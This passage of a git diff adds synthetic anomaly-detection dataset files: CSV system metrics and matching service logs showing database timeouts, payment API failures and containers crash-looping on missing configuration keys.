15 14:06:00 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:06:15 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:06:20 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:06:25 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:06:30 app-server[11235]: INFO GET /api/v1/products HTTP/1.1 200 OK +Jul 15 14:06:45 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:06:50 app-server[11235]: INFO GET /api/v1/products HTTP/1.1 200 OK +Jul 15 14:06:50 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:06:50 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:06:55 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:07:00 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:07:05 app-server[11235]: INFO Successfully reconnected to database 'db-primary'. +Jul 15 14:07:10 app-server[11235]: INFO GET /api/v1/products HTTP/1.1 200 OK +Jul 15 14:07:10 app-server[11235]: INFO Resuming normal operations. +Jul 15 14:07:20 app-server[11235]: INFO Resuming normal operations. +Jul 15 14:07:25 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:07:25 database[8876]: INFO Connection established from app-server:5432 diff --git a/anom_dataset/scenario_13/anom_13_9.csv b/anom_dataset/scenario_13/anom_13_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..47b20bfddd6aa7081d8103f4dcbd47ce4aa1e015 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,21.4901424590337,45.19415509869608,33.128336738825034,1.488254657813223,0.9779019771361759 +2025-07-13T10:00:05Z,19.585207096486446,46.95976189117814,25.714212217918586,0.9128275697641121,1.1299108369503867 +2025-07-13T10:00:10Z,21.94306561430208,43.64083763247001,24.64553750969444,1.432632750430992,0.8836859777314714 +2025-07-13T10:00:15Z,24.569089569224076,44.41209143714155,32.41236207621593,1.2020466122039173,0.9602567583148413 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payment-service[3456]: INFO: Processed payment for user_id=452, transaction_id=xyz-123 +Jul 13 10:00:35 user-service[2345]: INFO: User 'jane_doe' logged in successfully. +Jul 13 10:01:10 payment-service[3456]: INFO: Processed payment for user_id=452, transaction_id=xyz-123 +Jul 13 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:45 payment-service[3456]: INFO: Processed payment for user_id=452, transaction_id=xyz-123 +Jul 13 10:02:20 payment-service[3456]: INFO: Processed payment for user_id=452, transaction_id=xyz-123 +Jul 13 10:02:30 payment-service[3456]: ERROR: API call to 'api.stripe.com/v1/charge' failed: 503 Service Unavailable +Jul 13 10:02:40 payment-service[3456]: ERROR: API call to 'api.stripe.com/v1/charge' failed: 503 Service Unavailable +Jul 13 10:02:50 payment-service[3456]: ERROR: Connection to database 'billing_db' on host 'db.internal.net' timed out after 3000ms +Jul 13 10:03:00 payment-service[3456]: ERROR: All retries failed for database 'billing_db' +Jul 13 10:03:10 payment-service[3456]: WARN: Could not process transaction xyz-456, queuing for later. +Jul 13 10:03:20 payment-service[3456]: WARN: Could not process transaction xyz-456, queuing for later. +Jul 13 10:03:30 payment-service[3456]: WARN: Retrying connection to billing_db (1/3)... +Jul 13 10:03:40 payment-service[3456]: ERROR: All retries failed for database 'billing_db' +Jul 13 10:03:50 payment-service[3456]: ERROR: API call to 'api.stripe.com/v1/charge' failed: 503 Service Unavailable +Jul 13 10:04:00 payment-service[3456]: ERROR: Connection to database 'billing_db' on host 'db.internal.net' timed out after 3000ms +Jul 13 10:04:10 payment-service[3456]: WARN: Retrying connection to billing_db (1/3)... +Jul 13 10:04:20 payment-service[3456]: WARN: Could not process transaction xyz-456, queuing for later. +Jul 13 10:04:30 payment-service[3456]: ERROR: API call to 'api.stripe.com/v1/charge' failed: 503 Service Unavailable +Jul 13 10:04:40 payment-service[3456]: ERROR: API call to 'api.stripe.com/v1/charge' failed: 503 Service Unavailable +Jul 13 10:04:50 payment-service[3456]: ERROR: Connection to database 'billing_db' on host 'db.internal.net' timed out after 3000ms +Jul 13 10:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:05:15 user-service[2345]: GET /api/v1/user/78 status=200 OK +Jul 13 10:05:50 payment-service[3456]: GET /api/v1/health status=200 OK +Jul 13 10:06:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:06:25 user-service[2345]: GET /api/v1/user/78 status=200 OK +Jul 13 10:07:00 payment-service[3456]: INFO: Processed payment for user_id=452, transaction_id=xyz-123 diff --git a/anom_dataset/scenario_14/anom_14_1.csv b/anom_dataset/scenario_14/anom_14_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..df0c9419a9a6a25b8d3542ee9e65726a41edb9c4 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_1.csv @@ -0,0 +1,91 @@ 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+2025-07-02T10:07:20Z,94.61874729458756,74.39370442329553,40.91264758904968,0.1429149639750342,0.1429149639750342 +2025-07-02T10:07:25Z,2.8473793423949973,11.763120757741268,2.7264552276774072,0.013227702784063811,0.013227702784063811 diff --git a/anom_dataset/scenario_14/anom_14_1.log b/anom_dataset/scenario_14/anom_14_1.log new file mode 100644 index 0000000000000000000000000000000000000000..15ef67bb44e1c956f94a602cc5d70cf0c3412194 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_1.log @@ -0,0 +1,34 @@ +Jul 02 10:00:02 systemd[1]: Started Session 1 of user admin. +Jul 02 10:00:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6f7d-abcde +Jul 02 10:00:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d6f7d-abcde +Jul 02 10:02:25 deployment-controller[1234]: INFO Applying new deployment configuration for 'web-app'. +Jul 02 10:02:30 kubelet[2345]: INFO Stopping container 'web-app' to apply new configuration. +Jul 02 10:02:35 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f4e... +Jul 02 10:02:38 web-app[9876]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml +Jul 02 10:02:39 web-app[9876]: WARN Unable to connect to backend service 'redis-cache': connection refused. +Jul 02 10:02:55 web-app[9876]: WARN High CPU usage detected, throttling background tasks. +Jul 02 10:03:15 web-app[9876]: ERROR Health check failed: Database connection is not available. +Jul 02 10:03:40 web-app[9876]: WARN Memory usage is reaching critical levels (95% used). +Jul 02 10:04:10 web-app[9876]: FATAL Unrecoverable error due to persistent configuration issues. Application shutting down. +Jul 02 10:04:12 kubelet[2345]: WARN Container 'web-app' crashed with exit code 1. Restarting (Attempt 1/5). +Jul 02 10:04:25 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f1e... +Jul 02 10:04:28 web-app[9880]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml +Jul 02 10:04:55 web-app[9876]: FATAL Unrecoverable error due to persistent configuration issues. Application shutting down. +Jul 02 10:04:57 kubelet[2345]: WARN Container 'web-app' crashed with exit code 1. Restarting (Attempt 2/5). +Jul 02 10:05:10 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f2e... +Jul 02 10:05:13 web-app[9880]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml +Jul 02 10:05:40 web-app[9876]: FATAL Unrecoverable error due to persistent configuration issues. Application shutting down. +Jul 02 10:05:42 kubelet[2345]: WARN Container 'web-app' crashed with exit code 1. Restarting (Attempt 3/5). +Jul 02 10:05:50 ufw[4521]: Firewall reloaded +Jul 02 10:05:55 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f3e... +Jul 02 10:05:58 web-app[9880]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml +Jul 02 10:06:25 web-app[9876]: FATAL Unrecoverable error due to persistent configuration issues. Application shutting down. +Jul 02 10:06:27 kubelet[2345]: WARN Container 'web-app' crashed with exit code 1. Restarting (Attempt 4/5). +Jul 02 10:06:40 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f4e... +Jul 02 10:06:43 web-app[9880]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml +Jul 02 10:07:10 web-app[9876]: FATAL Unrecoverable error due to persistent configuration issues. Application shutting down. +Jul 02 10:07:12 kubelet[2345]: WARN Container 'web-app' crashed with exit code 1. Restarting (Attempt 5/5). +Jul 02 10:07:25 kubelet[2345]: INFO Starting new container 'web-app' with ID 9f5e... +Jul 02 10:07:28 web-app[9880]: ERROR Invalid configuration file: key 'database.url' not found in /app/config/prod.yaml diff --git a/anom_dataset/scenario_14/anom_14_10.csv b/anom_dataset/scenario_14/anom_14_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..14b0146bb1f9876ceaecd57243517f8c826a29a7 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T14:00:00Z,16.37,47.08,17.23,0.81,1.15 +2025-07-14T14:00:05Z,13.77,37.29,27.85,0.99,0.88 +2025-07-14T14:00:10Z,14.61,44.12,23.92,1.04,0.75 +2025-07-14T14:00:15Z,13.62,40.07,33.3,0.88,1.01 +2025-07-14T14:00:20Z,13.21,42.56,28.37,0.88,0.7 +2025-07-14T14:00:25Z,15.14,43.35,26.6,0.86,0.96 +2025-07-14T14:00:30Z,13.88,42.69,32.52,0.66,0.8 +2025-07-14T14:00:35Z,13.84,39.59,35.01,0.99,1.13 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+2025-07-14T14:07:20Z,99.45,75.76,55.17,0.43,0.39 +2025-07-14T14:07:25Z,93.76,73.1,63.06,0.11,0.43 diff --git a/anom_dataset/scenario_14/anom_14_10.log b/anom_dataset/scenario_14/anom_14_10.log new file mode 100644 index 0000000000000000000000000000000000000000..fe39a4dc29a3f18b1de072bfba302cae1b759a49 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_10.log @@ -0,0 +1,104 @@ +Jul 14 14:00:00 systemd[1]: INFO Starting daily clean up activities... +Jul 14 14:00:05 systemd[1]: INFO Starting daily clean up activities... +Jul 14 14:01:00 web-app[1234]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:05 systemd[1]: INFO Starting daily clean up activities... +Jul 14 14:01:30 web-app[1234]: INFO GET /api/v1/health status=200 OK +Jul 14 14:01:40 systemd[1]: INFO Starting daily clean up activities... +Jul 14 14:01:50 systemd[1]: INFO Starting daily clean up activities... +Jul 14 14:02:00 deployment-runner[6789]: INFO Deploying new configuration for web-app... +Jul 14 14:02:00 web-app[1234]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:02:05 web-app[1234]: ERROR Failed to connect to backend dependency 'database-service': Connection timed out. +Jul 14 14:02:10 web-app[1234]: ERROR Failed to connect to backend dependency 'database-service': Connection timed out. +Jul 14 14:02:15 web-app[1234]: ERROR Failed to connect to backend dependency 'database-service': Connection timed out. +Jul 14 14:02:20 web-app[1234]: ERROR Failed to connect to backend dependency 'database-service': Connection timed out. +Jul 14 14:02:25 web-app[1234]: ERROR Failed to connect to backend dependency 'database-service': Connection timed out. +Jul 14 14:02:30 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:02:30 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:02:35 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:02:40 systemd[1]: INFO Starting service web-app... +Jul 14 14:02:40 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:02:45 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:02:50 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:02:50 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:02:55 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:03:00 systemd[1]: INFO Starting service web-app... +Jul 14 14:03:00 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:03:05 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:03:10 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:03:10 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:03:15 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:03:20 systemd[1]: INFO Starting service web-app... +Jul 14 14:03:20 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:03:25 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:03:30 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:03:30 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:03:35 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:03:40 systemd[1]: INFO Starting service web-app... +Jul 14 14:03:40 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:03:45 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:03:50 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:03:50 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:03:55 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:04:00 systemd[1]: INFO Starting service web-app... +Jul 14 14:04:00 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:04:05 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:04:10 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:04:10 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:04:15 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:04:20 systemd[1]: INFO Starting service web-app... +Jul 14 14:04:20 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:04:25 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:04:30 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:04:30 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:04:35 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:04:40 systemd[1]: INFO Starting service web-app... +Jul 14 14:04:40 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:04:45 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:04:50 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:04:50 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:04:55 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:05:00 systemd[1]: INFO Starting service web-app... +Jul 14 14:05:00 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:05:05 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:05:10 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:05:10 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:05:15 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:05:20 systemd[1]: INFO Starting service web-app... +Jul 14 14:05:20 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:05:25 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:05:30 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:05:30 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:05:35 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:05:40 systemd[1]: INFO Starting service web-app... +Jul 14 14:05:40 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:05:45 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:05:50 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:05:50 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:05:55 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:06:00 systemd[1]: INFO Starting service web-app... +Jul 14 14:06:00 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:06:05 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:06:10 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:06:10 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:06:15 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:06:20 systemd[1]: INFO Starting service web-app... +Jul 14 14:06:20 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:06:25 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:06:30 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:06:30 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:06:35 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:06:40 systemd[1]: INFO Starting service web-app... +Jul 14 14:06:40 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:06:45 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:06:50 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:06:50 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:06:55 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:07:00 systemd[1]: INFO Starting service web-app... +Jul 14 14:07:00 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:07:05 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. +Jul 14 14:07:10 web-app[1234]: CRITICAL Unhandled exception due to invalid configuration. Shutting down. +Jul 14 14:07:10 systemd[1]: ERROR Service web-app entered failed state. +Jul 14 14:07:15 kubelet[2345]: WARN Liveness probe failed for pod web-app-pod-xyz123: connection refused. +Jul 14 14:07:20 systemd[1]: INFO Starting service web-app... +Jul 14 14:07:20 web-app[5678]: INFO Application starting up with process ID 5678... +Jul 14 14:07:25 web-app[5678]: ERROR Invalid configuration: Missing required key 'DATABASE_URL'. Application might become unstable. diff --git a/anom_dataset/scenario_14/anom_14_11.csv b/anom_dataset/scenario_14/anom_14_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..6df488c7e1e53a2d0134c08d4e088d3f6a92c744 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,13.708286274064116,40.074279310243554,28.548949674868823,1.271057517560513,0.6114940853643975 +2025-07-03T10:00:05Z,14.331562954481102,42.480700798122875,30.465439843942967,1.2398242964913622,0.6894889114086293 +2025-07-03T10:00:10Z,13.62718991080793,36.66758903390421,20.52817143426586,1.3376810827104841,0.9457686714202115 +2025-07-03T10:00:15Z,15.948825834168208,40.364881634663156,24.362116993919194,1.2018356800106214,0.7570034189692765 +2025-07-03T10:00:20Z,15.295388598258146,37.859280354164085,28.327394448994852,1.0116068971435515,0.903197858794921 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+2025-07-03T10:07:05Z,55.25433262362229,61.84083926014875,61.12954324250664,0.07884629414184874,0.12613210060902263 +2025-07-03T10:07:10Z,78.82086917034948,85.95020817856891,64.68472142501236,0.13855029895356602,0.14676985240276366 +2025-07-03T10:07:15Z,88.53470537364012,84.75159061056016,68.12204762198665,0.13455753267518847,0.09321961901512098 +2025-07-03T10:07:20Z,78.56131239862842,89.6324010627379,59.113843394507974,0.08152406494526664,0.09209197784123979 +2025-07-03T10:07:25Z,59.93398932342899,67.34064532313094,44.9391829135259,0.0848008452808298,0.12053965020615878 diff --git a/anom_dataset/scenario_14/anom_14_11.log b/anom_dataset/scenario_14/anom_14_11.log new file mode 100644 index 0000000000000000000000000000000000000000..ad36039f0b19e1c2ece3bc7868d53756057f9339 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_11.log @@ -0,0 +1,76 @@ +Jul 03 10:00:00 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:00:20 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:01:00 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:20 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:01:40 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:00 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:02:20 api-gateway[1357]: GET /v1/user/profile status=200 OK +Jul 03 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:30 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:02:30 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:02:35 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:02:40 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:02:45 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:02:50 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:03:00 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:03:00 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:03:05 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:03:10 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:03:15 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:03:20 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:03:30 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:03:30 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:03:35 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:03:40 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:03:45 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:03:50 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:04:00 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:04:00 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:04:05 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:04:10 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:04:15 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:04:20 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:04:30 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:04:30 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:04:35 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:04:40 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:04:45 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:04:50 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:05:00 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:05:00 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:05:05 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:05:10 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:05:15 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:05:20 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:05:30 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:05:30 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:05:35 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:05:40 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:05:45 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:05:50 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:06:00 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:06:00 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:06:05 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:06:10 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:06:15 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:06:20 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:06:30 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:06:30 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:06:35 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:06:40 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:06:45 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:06:50 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. +Jul 03 10:07:00 kubelet[2345]: INFO Restarting container api-gateway in pod api-gateway-xyz +Jul 03 10:07:00 api-gateway[1357]: INFO Starting application v1.2.3... +Jul 03 10:07:05 api-gateway[1357]: INFO Attempting to connect to database... +Jul 03 10:07:10 api-gateway[1357]: ERROR Invalid configuration: database_url format is incorrect. +Jul 03 10:07:15 api-gateway[1357]: FATAL Failed to initialize database connection pool. Shutting down. +Jul 03 10:07:20 kubelet[2345]: INFO Container api-gateway in pod api-gateway-xyz exited with status 1. diff --git a/anom_dataset/scenario_14/anom_14_12.csv b/anom_dataset/scenario_14/anom_14_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..be23a838307ba23f1f5124e33267b73a399dbed8 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,9.181889254243892,36.97671822506931,30.791073719118316,0.9403710267856347,0.9484698813668134 +2025-07-02T12:00:05Z,16.147347104341982,44.0717834185436,30.38267959495542,0.9777204993690495,0.7745595908236685 +2025-07-02T12:00:10Z,15.98792644680296,39.960590933049296,33.40817438424211,1.0158006945104578,0.803495354010371 +2025-07-02T12:00:15Z,12.229648144985717,37.66643546427007,33.17889275777114,1.3619282920526428,0.8689928700708855 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+2025-07-02T12:07:05Z,88.46481816908954,61.786055636902915,54.25406638533235,0.2558054021782836,0.1987672980853705 +2025-07-02T12:07:10Z,92.7420400745229,71.79306638537915,75.03344817627055,0.2025955407490367,0.1228895224634497 +2025-07-02T12:07:15Z,1.9414739826144851,8.839785580599273,4.924911656437746,0.0,0.0 +2025-07-02T12:07:20Z,2.5504343885528926,8.506798873536848,3.3378349208090228,0.0,0.0 +2025-07-02T12:07:25Z,2.82490312274602,7.322907454525849,1.6924988641274368,0.0,0.0 diff --git a/anom_dataset/scenario_14/anom_14_12.log b/anom_dataset/scenario_14/anom_14_12.log new file mode 100644 index 0000000000000000000000000000000000000000..61528d9dcbc2d754350e2cc8ac25650d735c9879 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_12.log @@ -0,0 +1,70 @@ +Jul 02 12:00:00 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:45 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 deployment-script[8899]: INFO New configuration applied. Restarting web-app service. +Jul 02 12:02:20 web-app[1357]: GET /api/v1/health status=200 